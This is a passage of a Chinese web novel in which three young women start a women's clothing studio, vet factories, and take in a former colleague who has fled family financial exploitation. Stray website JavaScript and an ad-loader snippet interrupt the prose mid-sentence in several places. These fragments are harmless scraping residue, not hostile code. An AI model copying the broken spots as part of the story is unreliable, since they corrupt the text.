“其次……他对我……好像有一些别的想法……” “我也知道啊。怎么，这还不明显吗？”令菲儿意外的不是林穗话里的内容，而是林穗本人的迟钝：“你可真是个油盐不进的恋爱差等生啊。” “你是怎么看出来的？”林穗问。 “年下不叫姐，心思有点野。他都比你小六岁了，还成天‘小穗’‘小穗’的，看你身边出现的异性时也跟防贼似的，能没有那个意思吗？”菲儿无奈。 “好吧，我果真对这方面比较钝感，要不是他爸爸跟我说我还不敢相信。”林穗叹道。 “他爸爸？私底下亲自跟你说这个？”菲儿差点把酒洒在地毯上。沉思许久，她一脸认真看着林穗道：“穗啊，要是你哪天想通了打算嫁入豪门就跟我说，我不怪你，我祝福你。就是麻烦你俩婚礼时候请我吃点平时吃不起的好东西……” 林穗在她膝头轻轻打了一下：“没可能！我说这些是想解释为什么咱们不适合调转方向做女鞋……” 菲儿点点头：“你说得对，干一件事还是得把它往纵深化、专业化里干。赚钱慢点归慢点，但总归最稳妥，也最问心无愧。” “嗯，就是这个意思。”林穗说，“对了菲儿，台州一家工厂给我寄了一批样衣，我去拿过来咱们一起看看？” “好啊……” 正说着，林穗突然接到一通来自“老朋友”的电话。 “有空吗？今晚出来喝一杯？”黎诗然对她说。 黎诗然知道菲儿的存在，也听林穗说起过她化妆和做运营的能力很厉害，便提议让林穗带着菲儿一起来，人多热闹。 “猪腰子，鸡肝，掌中宝……还有这个吊炉鸡翅，都上都上。啤酒要冰镇的。”黎诗然操着一口地道的四川话，在她老乡开的烧烤摊上点着菜。 “常温的，诗然……”林穗忙道，“啤酒我俩要常温的。” “我要冰的。”菲儿说。 “你当心胃……”林穗担心了起来。 谁料菲儿大手一摆：“我最喜欢吃四川烧烤了，今天好不容易来一次，当然要喝个痛快。小黎，你酒量可以吧？” 黎诗然歪嘴一笑：“啤酒算什么酒？我们川妹儿喝酒还没怕过谁。” “行！有你这句话，今天晚上一定尽兴！”菲儿朗声笑道。 “那个……诗然，你今天怎么突然有时间出来喝酒了？厂里最近不忙吗？”林穗忍不住歪了个楼，打断了她们把酒言欢的愉快氛围。 “我也不做了，辞职了。”黎诗然说。 24. Chapter 24 “做得好好的，怎么突然就不干了？”林穗没想过她也会离开。 黎诗然拿起桌上的酒，一饮而尽。路边门面房的霓虹灯牌映在她双眸之中，让那双平日里不怎么带情绪的眼睛染上了一层故事的色彩。 “我都三十岁了，不想给别人打一辈子工，也想像你一样做点自己的事业。”她说。 黎诗然素来冷淡寡言，在工厂里也从不主动接近谁，今晚能提议出来喝酒就已经够让林穗意外的了，如今又说出这样的话，就仿佛一只特立独行的孤傲猫咪突然走向了人群，露出自己的肚皮…… 菲儿今晚吃得很合胃口，心情不错。她十分爽气地拍了一下对方瘦弱的肩膀，手还被人家机车外套上的装饰扎了一下。 “当然可以啊！凭你的行业经验和审美水准，就算自己干又有何不可？”菲儿鼓励说。 “我确实是有一些经验和行业资源，但创业还需要好的合作伙伴跟一笔启动资金，没那么简单的……”黎诗然微垂着目光，陷入了缄默。 林穗和菲儿并不傻，她们知道小黎是在递话给她们。 还不等林穗说什么，菲儿便“打哈哈”道：“谁说不是呢，我和小穗天天相互哭诉说这条路太难了，快要坚持不下去了。对了，鸡翅挺好吃的，我再给咱们要上两串吧……烧烤这东西，大酒店还真是比不过宝藏路边摊，咱们今天算是沾了小黎的光了。” 黎诗然听了，默默低下头去，一言不发地摆弄起盘子里的烤馍片，眼神里一下没了光。 这场“路边摊饭局”的后半场只剩下一些不咸不淡的“社会嗑儿”——看上去彼此还在交流，实际上谈话的内容没有任何意义： “天气越来越凉了，不过今年降温好像比往年晚……” “是啊，是比往年晚一些……” …… 桌子上的食物被打扫得差不多了，是时候散场了。 菲儿主动问小黎：“你去哪个方向？咱们一起？” “你们先走吧，我一会儿再说。”小黎说。 “好吧，天不早了，路上小心。”菲儿挥挥手道了别。 “对了……”黎诗然叫住了正欲离开的她们，她看向林穗，说：“今晚我们见面的事，能不能拜托你不要告诉别人？” 过了马路，林穗回头看了一眼路对面黎诗然孑然一身坐在餐桌前的背影，问菲儿：“刚刚怎么不听她把话说完？” 菲儿道：“我当然知道她是什么意思。如果今天找上我们的是个陌生人，倒是真的可以深入聊聊，看对方能给我们带来什么，我们又能提供给人家什么。可她是你的前同事，你们在职时关系也不算多亲近，那就不太好办了。分寸很难拿捏，近了远了都容易出问题。我劝你还是算了。” “我总感觉她今天状态不太对，好像是需要帮助……” 方才林穗去找洗手间时，看到了小黎寄存在烧烤摊老板身边的大行李箱，想必她是打算去什么地方的。但这周围蛮荒凉，连个连锁小旅馆都没有，天已经这么晚了，她还在等什么呢？ 她们再一回头，发现小黎正费力地推着那个看上去比她都沉的行李箱一步步往烧烤摊斜后方的三无小网吧走去。 林穗和菲儿对视了一眼，便明白了彼此的想法。 她们拨通了小黎的电话：“喂，要是不介意，跟我们回去凑合一晚上如何？” 遵循着“绝不可以亏待客人”的待客之道，林穗和菲儿把卧室让给了小黎，她们自己则把房东扔在阁楼上的旧床垫搬了下来，在客厅打起了地铺。 灯一关上，颇有种回到了大学宿舍时的感觉。 两人不禁裹紧被子，压低声音开启了“姐妹卧谈会”： “你爸妈有去找过狗哥吗？他有想好接下来怎么办吗？” “狗哥这两天去北京开交流会了，他们暂时见不到面，等见了之后他自己应对吧。反正我是不想再管那个家的任何事喽，我目前操心的只有咱们的赚钱大计……” “嗯，最近就先别想那么多了，好好恢复一下能量吧。” “对了，你打算和宋洋怎么说？” “有话直说啊。但他总是躲着我……” “你个钢铁直女，下次去找他谈之前记得先找我串一下口供啊，别到时候给人家孩子留下心理阴影……” “好，知道啦……” “还有，我必须得再强调一遍——在商言商，你想在生活上帮你前同事一把完全没问题，可是涉及业务层面的合作，一定要慎重慎重再慎重，除非她手头的资源真的对我们特别有用。我们也才刚起步，担不起任何风险，知道了吗？” “知道啦……” 两人聊着聊着，便很快进入了梦乡。 第二天，林穗做了一中一西两种不同风格的早餐——西式的三明治是给菲儿的，中式的豆浆和芙蓉蛋羹是给小黎的。 “一次性牙具和洗脸巾都给你放在洗手池旁边啦，洗漱完了就来吃早餐吧！”林穗对小黎说。 看着桌上有自己最爱的豆浆和蛋羹，黎诗然既意外又动容：“你怎么知道……” “你和叶蔓聊天的时候说起过啊。”林穗说。 “今天的三明治换酱汁了哎。”菲儿的嘴巴总是最灵。 “嗯，今天用了越南青柠酱，我看上次做虾饼的时候你很爱这个。” “哈哈，太机智了！我觉得青柠酱比蕃茄酱好吃多了！这周都用青柠酱好不好？” “没问题。” 黎诗然鼻头一酸，羡慕着她们温馨幸福的日常。 她也想拥有朋友，拥有一个像家一般的地方，但这些好像都是奢望。 “小黎，你也吃啊。”菲儿招呼她道。 “我知道你们现在很需要自己的货源，我可以帮上忙。”小黎并没有吃东西，反而放下了手中的瓷勺。 菲儿和林穗都没想到她会一大早就说这个。 “先吃东西再聊也不迟。”林穗语气温柔道。 黎诗然却摇摇头，苦笑道：“算了，我还是把我的故事从头到尾讲给你们听吧……” 黎诗然今年30岁，而她的工作经验已经有足足14年了。 没错，她16岁就开始了她的第一份工作——在老家的服装厂踩缝纫机。 母亲小学文化且身体不好、父亲的腿在打工时受过伤、弟弟被诊断出轻度的智力障碍，在这样的家庭中，黎诗然是唯一一个“健全”的劳动力。为了给弟弟攒“老婆本”，父母一早便把她推到社会上去打工。 好在她要强，也聪明，白天兢兢业业干厂里的工作，顺便向老师傅们学习服装知识；晚上为转行作准备，自学美工和设计。这样熬到了十九岁，她才终于凭借自己的一技之长找到了一份上海工厂里的工作。 离开老家去上海之前，父母以要给她弟弟存钱盖房子为由，“借”走了她打工三年来省吃俭用存下的两万元钱。那两万元是她当时身上的全部积蓄。 不同于林穗对工厂的无限好感，这种地方对于从底层做起的黎诗然来说更像是个丛林法则的江湖，老人就是会为难新人，年纪大的就是会欺压年纪小的。如果你是一个来 () { $(''.inform'').remove(); $(''#content'').append('' 自外地年纪又小的新人，那就会成为被重点排挤和甩锅的对象。在这种环境里，能保住工作、赚到工钱养活自己就已经很不容易了，更妄论交到什么朋友。 她在新工厂的产线上又待到二十多岁，才终于抓住了机会，施展出自己美工的特长。眼看着一切总算是向好的方向发展了，可谁料老家却突然传来消息——她那有智力障碍的弟弟要结婚了，女方在办婚礼之前已经怀孕，她作为姐姐得多出点钱。 黎诗然闻讯，赶回老家与父母撕扯在一起： “咱们家现在是这样，我弟又是这种情况，找人结婚不是害人家女方吗？” “那有什么关系哟，你弟媳妇脑子也有问题，他们谁也嫌弃不上谁。人家女娃儿的父母也想给自己闺女寻个伴儿呢！” “那孩子呢？他们俩都是这种情况，你让他们生孩子？” “那都是几率问题，孩子又不是一定也这样。” “不要再侥幸了，快跟我去医院做产检。” “花那个钱干什么哦，这个检那个检都是骗人的，医院黑心得很。你要是真的心疼你弟弟就把钱都拿出来，好好给他们办一个体体面面的酒席！” 黎诗然觉得她叫不醒那些人，那种巨大的绝望感令她至今难忘。 那年她二十五岁，攒了八万元，被她的亲生父母拿走了七万。 回到上海后她患上了“情绪病”，几乎难以再工作下去。她辞了工，换了手机号码，去了杭州，打算和自己恐怖的家庭断绝关系。 她还是想做服装生意，就在杭州的四季青档口找了份工作，帮人家卖衣服。 黎诗然做事从不惜力，她身板虽小，可每次扛货都第一个上。 她也不是什么嘴甜、外向的性格，但由于在服装行业积累颇深，懂得又多，所以总是能很快就获得客户的信任。也正是如此，她认识了跟助理一起来四季青选版的南叔。 吃早餐前还一直教育林穗要“谨慎”“理性”的菲儿听到这里也一脸心疼——每次攒下一点积蓄就立马被拿走，怪不得她昨晚连小旅店都不舍得住，只打算在网吧里栖身一夜。 “那你这次辞职，还是因为家里人吗？”菲儿问。 “算是吧。”小黎说，“以前和我一起出来打工的一个同村姐妹今年回了老家。我没有删她的微信，她大概是从朋友圈里看出我现在在哪里工作的。他们向她打听到我所在的地方，就找上门来问我要钱……” “要钱？这回又是要什么钱？”菲儿眉头紧锁。 “我弟媳又怀孕了，这次她不想生了，所以跑回了家。我妈说要再凑二十万给我弟媳家拿过去，这样人家就肯回来了……他们在我工作的地方大闹了一场，还是南叔出面给他们安排了旅馆，让我们坐下来慢慢谈。可我真的没脸再在以前的地方待下去了。”小黎说。 她平复了一下情绪，接着道：“以前总是求稳，想着给别人打工不用担风险，到点下班便是。现在我想通了，趁着我还年轻，有技术有能力，就应该干出点自己的事业来。树根扎得够深才不怕风吹雨打。这也是你们可以考虑选我作为合伙人的原因之一——我没有退路，会拼命的。” 黎诗然：“网红想要长久发展自己的事业，终归是要开自己的店的，不可能永远只靠接商务。我有运营网店的经验，而且有好几家各品类女装代工厂的资源。你们有资金和流量，我有技术和渠道，我们正好可以合作，相互弥补，强强联合。” 黎诗然：“我希望你们可以考虑我，但千万不要是出于同情我，而是因为欣赏我，需要我。” 25. Chapter 25 林穗从没想过黎诗然背后会有这样一段故事。 在她眼中，黎诗然不仅工作经验丰富，做事雷厉风行，还对国内外时尚趋势了若指掌。加上一头干练短发的她一直打扮得“潮而不油”，林穗总下意识以为她必然是东华、北服这样的专业院校毕业的，可能还有海外留学经历。 想到这里，她不禁对小黎又增添了许多钦佩之情。 菲儿嘴巴上总强调理性决策，可她骨子里也是个性情中人。和林穗一样，她现在对于黎诗然的感情也是“钦佩”二字压倒了一切。说到底，和黎诗然比起来，自己和林穗那点烦恼完全不是什么“生死存亡”的烦恼，拿到这样真正经历过世间险恶的人面前来，甚至透露着一股幼稚的气息。 “那个，来都来了，就帮我们个忙呗！”菲儿为自己昨天的揣测感到不好意思，便主动提议道：“有一家浙江台州的工厂给小穗寄了一批样衣，我们俩昨天一起看了半天也没看出什么门道来，你是专业的，等会儿帮我们看看？” “行啊。”提到自己的专业，黎诗然又恢复了从容，重拾起在工厂工作时的精干：“以前提起浙江的纺织业，都是先想起宁波和温州，近些年台州和丽水交界处也有了很多新工厂。只不过那些工厂有好有坏，得看了货才知道。” “不急不急，先吃东西。早晨也得补充点纤维素，来尝尝小穗拌的西兰花，可好吃了。”菲儿忙往前推着餐盘。 “谢谢啊……”黎诗然笑笑，她们这才发现这位说一不二的“酷姐”其实长着一张娃娃脸。 这表情在她脸上还真是陌生，林穗想。 由于现在已经进入初冬，她们拿到的样衣都是冬装，以毛呢和毛衣为主。 这些样衣在设计方面不说多么特别，但也都是时下网络上常见的款式。 “他们给你报的一批价格是多少？”黎诗然问。 “一批是什么意思？”菲儿道。 “一手批发。你们直接对接工厂，就是一手批发。如果你们自己做经销商，把工厂的货倒给别人，就是二批。大多数情况下不会有第三批，再往下就是零售了。”黎诗然科普道。 菲儿只感慨学无止境，自己和小穗讨论了这么久怎么做服装生意，居然连如此基础的概念都不清楚，还真是需要一个熟悉行业的人带她们入门。 黎诗然好像看出了她心中所想，便道：“没关系，这些又不是什么高科技，接触一下很快就知道了。” 林穗继续刚才的话题：“还没到谈价格那一步，工厂只是让我们先看看货，说都是产线上刚拿下来的当季新款，看中再详谈。” 黎诗然上手摸了摸其中一件白色斗篷大衣，问道：“他们有说这是什么面料吗？” “水洗唛上有写，百分百羊毛。”林穗说。 “这家厂绝不可以合作，不是因为他们的质量，而是因为他们不诚实。”黎诗然下了定论。 林穗和菲儿如同求知若渴的小学生，抻长了脖子专注地听着。 黎诗然细细分析道：“首先，这绝对不是百分百羊毛，一定是加了聚酯纤维的混纺，对面料熟悉的人摸一摸就可以知道。做成混纺的原因有很多，比如为了抗皱，为了更好地定型，但一般来说最主要的原因还是降成本。他们连这么关键的信息都敢欺瞒，就是吃准了你们不懂。” “其次，这批货也绝不可能是‘产线上刚拿下来的新品’。我去年就在市面上见过一模一样的版，而且现在已经快十二月了，除了极个别客户要求加单的爆款，产线上正在生产的新品都是以来年的春装为主。”说着，黎诗然看了看林穗，道：“你不是经常和管排产的颖姐聊天吗，‘量产至少要比正式面市提前两到三个月’，这么基础的规律她都没跟你说过吗？” “说过是说过……只是一时没反应过来。”林穗顿时感到有些羞愧。她那些“知识”好像确实只学在纸面上、脑子里了，没有让它们落地在真实的生活中。譬如面料，什么晴纶、涤纶、羊毛、混纺，各种材质的应用场景和优缺点她概念上倒是记得清楚，甚至可以在直播间回答观众的提问，就是没有想过上手仔细摸一摸每一种材质。这何尝不是一种“文化人”常犯的“本本主义”呢？ “总而言之，其他的条件尚可以商议，但只要不诚实，就必须一票否决。这间工厂不可以合作。”黎诗然说。 熟悉的感觉回来了！这个在工作中说一不二，永远能冷着脸作出最专业判断的，才是林穗记忆中的黎诗然！ 黎诗然看了看时间，又道：“快九点了，我先下去倒个垃圾，你们有什么快递之类的需要我带上来么？” 林穗和菲儿忙道“没有”。 “行，那我先下去一趟。” 小黎果真是细心的，昨晚带她回来时她就注意到了后门垃圾投放处的标语——“工作日投放时间：早7:00-9:00，晚17:00-20:00”。 她借故离开也是为了给林穗和菲儿留一个单独讨论的机会。 “菲儿，你现在怎么想？”其实林穗心中已有了定数，在期盼着小黎的加入了。 “我真是个小丑，昨天还 () { $(''.inform'').remove(); $(''#content'').append('' 猜疑着人家呢，现在只觉得人家肯带我们玩儿简直是看得起我们。”菲儿说。 “是啊，服装这门生意比我们想象中学问要深，咱们两个都是坐办公室出身的，既没有参与过和厂家真刀真枪的谈判，也没有上手从事过生产，单靠我们自己的话，恐怕……”恐怕就是宋洋给“小小姐”设计老爹鞋时那个画风。 菲儿十分赞同地点点头：“等一会儿人家回来，咱们赶紧问问她想要什么待遇吧！” “好！” 黎诗然回来后，林穗和菲儿直白地表达了对她的钦佩和欢迎，并问到她想要的待遇。 “我说过的，这回我不是想打工，而是想创业。所以你们介意我拿出手上全部的积蓄两万四千元钱，入股你们的事业吗？”黎诗然十分坦诚道。 不得不说，她们之间有种奇妙的化学反应——纵使家境不同，性格不同，人生的经历也迥然不同，可此时此刻却对彼此都有着某种莫名的理解和信任。 三个人一拍即合，随即如火如荼筹划起了接下来的工作。 “我以前是做财务的，工商注册之类的事情我熟，我来跑。诗然擅长网店运营，就麻烦帮忙搞定网店的setup。菲儿一直负责统筹商务，这段时间就辛苦菲儿尽可能精简接下来的商单，咱们要把精力转到建立自己的工作室上了。”林穗有条不紊分配着工作。 菲儿：“咱们快给工作室取个名字吧，然后网店和工作室同名，如何？” 其他两人都点点头。 菲儿：“怎么办，我是取名废，想不出来……” 林穗：“我也……” 她们把最后的希望放在了小黎身上。 黎诗然想了想，说：“三个合伙人都是女生，经营女装的话，以后服务对象也都是女生，不如就叫‘她们’？” “她们”工作室就这样成立了，仪式感最强的菲儿还专门做了一张手绘的彩色门牌挂在门口，小黎看了之后说了一句“配色不错”。 考虑到女孩子一个人漂泊在外需要一些积蓄压钱包，林穗和菲儿没有接受小黎的现金出资，而是同意她技术入股。她们又从创业基金中拿出了五万元给小黎，作为差旅备用金。 林穗和菲儿原本想把卧室让给小黎，她们俩在客厅里打地铺。但为了不让她感受到自己被额外照顾，菲儿还是提议大家轮流睡卧室，一人一周，小黎欣然应允了。 十二月正式到来了，《恋爱法则》节目组为了让倒数第二集正好赶上圣诞节所以停录两周，恰巧给了林穗更多时间忙工作室的事。 26. Chapter 26 有了新成员的加入和明确的分工后，一切都变得顺利了很多。 林穗、小黎、菲儿三个人分头操持着各自负责的那部分工作，几天时间就完成了工作室的setup，只差拉来货源、正式开售了。 “他们工厂的实力不用怀疑，只是头一回合作，谈判时要讲些技巧。”小黎介绍着她在诸多工厂中精挑细选出的那一家。 “在山东是吗？”菲儿问。 “对。” “咱们三个一起去一趟吧。”林穗拍板道。 小黎说得没错，这间工厂的实力确实很强，不论是厂房规模、商品种类还是国内外客户的名气都比南叔他们高出几个数量级。林穗和菲儿也通过此次的参观，大大地涨了一波见识。 “别的工厂都是负责人请甲方采购和主播们吃饭，这一家是反过来的，采购和主播们请他们吃饭。”小黎说，“我和老板娘本人打过交道，她是个非常看中效率的人。我们现在才刚刚起步，相当于没什么谈判的筹码，要是待会儿吃几颗软钉子，千万别往心里去。” “好，知道了。”林穗说，“不管怎么说，还是要谢谢你，小黎。要不是你的人脉，我们连‘吃软钉子’的机会都没有，更别提和人家谈合作了。” “不必说谢，我也是在为我自己的事业努力。”小黎说。 谈判的过程比林穗想象中更加艰难。她们因为体量太小，目前只有一些“虚无”的流量，无法证明工作室的实战带货能力所以压根不被工厂的人重视，冬款的新品一件都没有要来。 负责人只说目前仓库中还有一批未贴标的衬衫，如果需要，她们可以打包带走，但必须是所有色号一件不剩。 “白、蓝、杏、粉四个颜色，每个颜色都有将近三百件，每件来货价99元。就按三百件来算吧，我们大概要准备十一万八的货款。”林穗一面算着账，一面思考着：“资金倒是还够……” 菲儿气恼：“这也太欺负人了吧？！都冬天了，大家买的都是毛衣、大衣和羽绒，给我们这么多卖不掉的衬衫，把我们当傻子吗？在这儿恶心谁呢？小黎，你还有没有其他靠谱点儿的厂家，我实在懒得跟这种店大欺客的工厂合作！” “菲儿，你先冷静……”林穗给菲儿递了一瓶矿泉水。 菲儿一看见矿泉水，更加生气了：“看看，有这么办事的吗？这么大一个厂，招待客人连杯热茶热咖啡都不给，大冬天的给人喝凉趴趴的瓶装水。我活了这么多年，从来没有被这样对待过！” 林穗揉了揉她的肩膀：“回酒店吧，我给大家叫海底捞外卖，今天辛苦了。” 回到酒店后吃上了热腾腾的火锅，菲儿总算平复了下来。 林穗知道菲儿从小到大的生活条件都很优渥，加上父母社会地位高，所以几乎从未有过“求人”的时候，她需要点时间消化这种沟通模式也是再正常不过。而小黎是个老江湖了，眼下最宜听取她的看法。 “小黎，我觉得这生意可做，你认为呢？”林穗冷静问道。 黎诗然轻点点头：“我也觉得。你先说说你的想法吧。” 林穗：“工厂今天提出让我们把这款衬衫清货，一方面确实是想降低自己的库存压力，另一方面也是在考验我们的资金和销售能力。如果我们直接拒绝，那就是弃考，以后也不会有任何合作机会了。” “你说得没错，我也这么想。大工厂那些人做事是很有江湖气的，遵循着一定的行业规矩。有时是得先吃顿闷亏作为见面礼，后续人家才会带着你喝肉汤。”说着，黎诗然看看吃得专注的菲儿，放低了声音对林穗道：“这一点，任何强势的工厂都差不多，再换一家也无济于事。” “行，那明天咱们去签订货合同，然后好好想想怎么销售。”林穗说。 “他们这批库存都是没打标的，我和老板商量一下，稍微加点钱打上咱们工作室的标，这样就可以算作我们第一款自己的产品了。”黎诗然说。 “好，麻烦你了。我也去算一算怎么订价比较方便回本，有了初步方案后咱们三个再一起商量。”林穗说。 “嗯。还有，今天参观库房时我看见了一些库存不多的马甲、背心裙之类的，很适合在这个季节跟衬衫配套出售。如果一起拿下来，资金方面还可以吗？” “加上衬衫，总价不超过十七万就还能承担，再多就不行了。”林穗说。 “OK，我明天去谈。”黎诗然说。 菲儿的消化能力很强，纵使是头一天还充满了不解和质疑，认为这笔生意是赔定了，可第二天想明白了林穗和黎诗然的话后，便紧锣密鼓地投身到销售策略的制订中去，没多内耗一秒。 “咱们首先得解决一下存放的问题。一千五百多件货，家里最多只能放下四分之一。”林穗说。 “放我车上怎么样？我车后座蛮宽敞的。”菲儿提议道。 黎诗然：“你那点儿地方一百件都放不了……” “那可怎么办……难道我们起步阶段就要出去单独租个仓库吗……”菲儿叹道。 林穗当然没忘了做生意方面的老前辈——遇事不决，请教金老板。 她在群里描述了自己的问题，请金鑫帮忙支支招。金鑫表示他们学校的研究生宿舍有很多间都是常年空置的，他跟校友和宿管的关系都不错，打声招呼放在那边就可以了。 然而这个提议被林穗委婉地否决了，她认为这事儿不太合规，真要这么做心里会不踏实。 金鑫在群里道：“你这个姑娘，干事还一板一眼的，这让一进校门就在宿舍开了个小超市的我情何以堪？” 菲儿：“我们小穗现在也是公众人物了，不像你等素人一般可以毫无压力地薅公家羊毛。提案被拒，退回重想……” 金鑫：“好吧，我再想想……” 直到晚上十一点，肖潜才在群里说了三个字——“放我家”。 黎诗然和工厂说好了晚些发货，这样可以留足时间让她们勘探一下肖潜家里够不够大。 坦白讲，第一次亲眼看到肖潜的住处时，林穗心里是十分羡慕的。可她也有些担忧——这里住人是绰绰有余，都够在客厅里骑自行车了，但要放一千多件货物…… 黎诗然四处走着看了一圈，十分中肯地说：“放是肯定能放下的，就是会挤占比较多的生活空间，不知道肖先生你介意吗？” 肖潜随和地笑笑：“跟我来吧。” 说着，他带客人们走出了房门，把“一梯两户”的另外一户，也就是对面的大门打开了。 肖潜：“这里暂时也没人住，如果我那边不够的话放这里也行。” “可以。”黎诗然淡淡应了一声，“那我就跟工厂说一声，把分批邮寄的地址填在这边了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “嗯，收件人写我的名字就行，物业经理会安排人帮忙搬上来的。”肖潜说。 林穗心里有些过意不去：“那个……工厂运送大宗货物走的是普通物流，一路颠簸过来，外包装可能不太干净……” “没关系，我自己会打理的，阿姨也会定期过来帮忙清扫。”肖潜说。 “阿姨的保洁费用我们来承担。”林穗忙道。 肖潜却笑道：“一点小事而已，不用这么见外。” “那你房子的租金我们得付……”林穗还没说完，就被菲儿一把拉走了。 “谢谢肖老师，您真是太慷慨、太绅士了，改天我们一定请您吃宵夜！工作室还有点事，我们就先走啦……”菲儿打断了林穗，和肖潜道了别。 回家的出租车上，菲儿忍不住捧着手机一通查找，而后感叹道：“好家伙……看看我同龄人过的都是什么日子！肖潜那个小区里一套他那种面积和户型的房子，现在市场价至少一千六百万往上，他还有两套……” 她扭头对林穗接着道：“小穗你知道吗，那个小区刚开盘的时候我爸我妈去看过，当时的价格比现在还低不少，但我爸还是因为预算不够放弃了。好小子啊……我看这钱一定不可能是他自己挣的，一定是他家里给的。啧，以前都是靠读书拿个高学历改变家境，现在呢，都是家境好的人才有资本一直读书，拿上高学历。这个马太效应的世界啊……” 想到小黎幼年失学的经历，林穗连忙悄悄拉了拉菲儿的衣角，让她别再说了。 而黎诗然的声音还是从副驾驶位传来：“这个世界挺好的，只要肯努力，什么都会有的。” 卸货的那天林穗当然不可能让肖潜一个人出力，她们三人起了个大早，提前很久便等在肖潜楼下了。 “大家早啊，介绍一下，这位是我师兄苏经纬，学院里最年轻的副教授。”肖潜下楼时身旁还跟着一个人，他便向大家介绍了一番。 “你们好啊，我昨天和肖潜聊课题聊得太晚就住在这边了，不知道他还约了朋友，抱歉啊……”那位“苏教授”略显羞赧道。 肖潜拍拍他的肩膀：“那正好帮我们一起搬搬东西，就当锻炼身体了。” 苏经纬和肖潜一样个高腿长，身形笔挺。他白白净净的，长相看起来就像韩国小清新爱情剧里的男主角，笑起来还有些娃娃脸。如果不是这一身polo衫配西装裤的老干部风打扮，别人很难把如此年轻的他和“教授”两个字联系在一起，只会觉得他是个男大学生。 此情此景，让菲儿看得直拍大腿，感慨可惜——可惜这苏教授没有一点穿搭常识和时尚品味，他但凡有肖潜一半的审美，把自己打扮得稍微入流一丁点儿，都会是个光芒万丈、十分吸睛的大帅哥。 别看苏师兄学问高，干起活儿来却憨憨的。 “那个……不好意思，刚刚说所有东西要按照货号摆放，可是这一件的包装袋太难拆了，没法看到吊牌上的货号……”苏师兄支支吾吾问小黎，耳朵尖都红透了。黎诗然是个小个头，所以他只能弓着腰，像只大虾米。 “你都是拆开包装袋看里面吊牌的吗？”黎诗然反问道。 苏师兄一惊：“不……不是吗？” 黎诗然接过那件包装袋完好的针织马甲，指了指贴在外包装底部的标签：“看这里也是一样的，不用拆开。” 27. Chapter 27 一群人忙忙碌碌直到中午，终于把所有货品都归置就位了。 货物填满了肖潜家对面那套新房子的小半个客厅、整间阳台和储物间，大理石地板上也添了许多灰尘的印记。菲儿和林穗忙找来工具清理，苏师兄也猫着腰帮起了忙。 正在这时，金鑫来了。 “苏师兄！好久不见，现在是不是该叫你‘苏教授’了？”金老板进门后第一眼就看到了苏经纬。 苏师兄每次被人夸奖都显得不太坦然，脸颊甚至有些发红，颔首低声道：“只是刚刚评上副教授而已……” “好啦，您就别谦虚啦，咱们院最年轻的副教授！”金鑫朗声笑道。 “大家刚把活儿干完你就来了，太会选时间了。”肖潜也迎了上去，同金鑫开起了玩笑。 “我是来送吃吃喝喝的，还不欢迎？”金鑫举了举手中的草莓和海鲜，“黄酒和鱼露还有吗？今天我下厨……” “大家辛苦了，今天我请大家去外面吃吧。”林穗提议道。打扰了肖潜这么多她已经够不好意思了，实在是不想再麻烦他一顿午饭了。 菲儿呼应道：“对呀对呀，都忙了一上午了，是该补充补充营养了。大家千万别客气，就当是庆祝我们工作室成立，咱们吃点儿好吃的。” “行啊，正好我兄弟前几天推荐给我一家云贵川融合菜，说是特别好吃，就是有点辣。在场有不能吃辣的吗？”金鑫问道。见没有人反对，他便当场决定：“那就这家了！” 去地下车库取车的路上，林穗听到他们几个走在前面的男生聊天： 金鑫：“你居然把阿姨给你准备的婚房拿给小林老师当仓库，不怕挨揍吗？” 肖潜：“我母亲大人什么时候那么暴力了？” 苏经纬：“是啊，小肖是个热心人，伯母要是知道他是为了帮助朋友创业，肯定不会责怪他的。” 金鑫：“苏师兄，你有所不知……” 肖潜：“咳……” 金鑫：“算了……” 这家西南融合菜比想象中还要辣，有些菜颜色看起来清清淡淡，味道则完全不然。 菲儿和金鑫这两个大美食家吃得开心极了，一边吃一边热火朝天地聊着，像两个阔别重逢、忍不住拉对方一起吃瓜的小姐妹。有他们在的饭局永远不必担心冷场。 而另一边，苏师兄则被辣得满脸通红，一直不停地给自己灌水。 “不能吃辣就应该直接说，而不是在这边为难自己。”黎诗然路过他时，面无表情递上一杯冰镇柠檬水，道：“热水只会越喝越辣，来点凉的吧。” “谢谢……”苏经纬感激地接下了她的投喂。 过了良久，苏经纬终于缓过气来，他小幅度挪了挪自己的椅子，来到一直低头看手机的黎诗然身边。 他垂着脑袋，整个人好像很紧张，说话时也不敢抬眼看对方：“那个……我自我介绍一下。我叫苏经纬，94年的，江苏无锡人，大学四年都在交大，后来就直博去了美国，再后来就回了上海。我觉得上海挺好的，离家蛮近，交通蛮好，人蛮好，气候也蛮好……就是上海话好像和无锡话不太一样……” 他越说声音越小，咽了好几口唾沫，方才挤出了这段话的收尾：“对了，小……小黎，你是哪里人？” 黎诗然专心地回复着自己手机上的工作信息，没空搭理他，只是草草应了一句：“四川。” 苏经纬依旧低着头，抿了抿嘴、十分内向地笑道：“四川好啊，四川好……风景真好……” 没等他另起一个新话题，黎诗然便掐灭了他渴望交流的小火苗：“我出去抽根烟。” 说罢，她便离席而去了。 鲁迅先生说得对，人类的悲欢大抵真是不相通的——同一张餐桌上，他们彼此相距那么近，却各有各的心事。 餐桌对面的菲儿和金鑫酒过三巡，有点上头，越聊越深入，已经开始以姐妹相称了。 “我跟你说，好姐妹，这一点你肯定也深有感触。别人老是觉得我们至少出生在中产家庭，有吃有喝也没啥经济压力，为啥还老说自己烦恼、痛苦，这不是矫情吗？但我告诉你，就算是当上了世界首富，该痛苦还是会痛苦……”菲儿同金鑫聊起了自己的父母和家庭。 金鑫：“可不是吗？姐妹我理解你！今天就算是我爸本人站在我面前，我也敢说他真的给我留下好大的心理阴影。来，咱们姐妹俩再喝一个……哎呀，这瓶也没了。” 菲儿：“我去点我去点……” 而餐桌这一头的林穗，脑子里则全是关于肖潜的点点滴滴。 “婚房”两个字彻底触动了她紧张的神经，她突然变得无比警觉，拼命回想着和肖潜认识以来发生过的所有细节，生怕再闹出像宋洋那边一样的事。 林穗想这些不是出于自恋，而是另有原因： 与在感情方面长着一颗七窍玲珑心的菲儿截然不同，她一向最不擅长处理男女之间的关系，所以害怕对方喜欢上自己反而是她对一位异性朋友最真诚的敬意，对一段异性友谊最高规格的珍视。 这个肖潜太让人难懂了。若说他对自己有意，他们两个的微信聊天框里目前总共也没超过二十句话；若说他对自己无意，把高档小区里的婚房毫无怨言地腾出来给她当仓库，也不是一般朋友能做到的…… 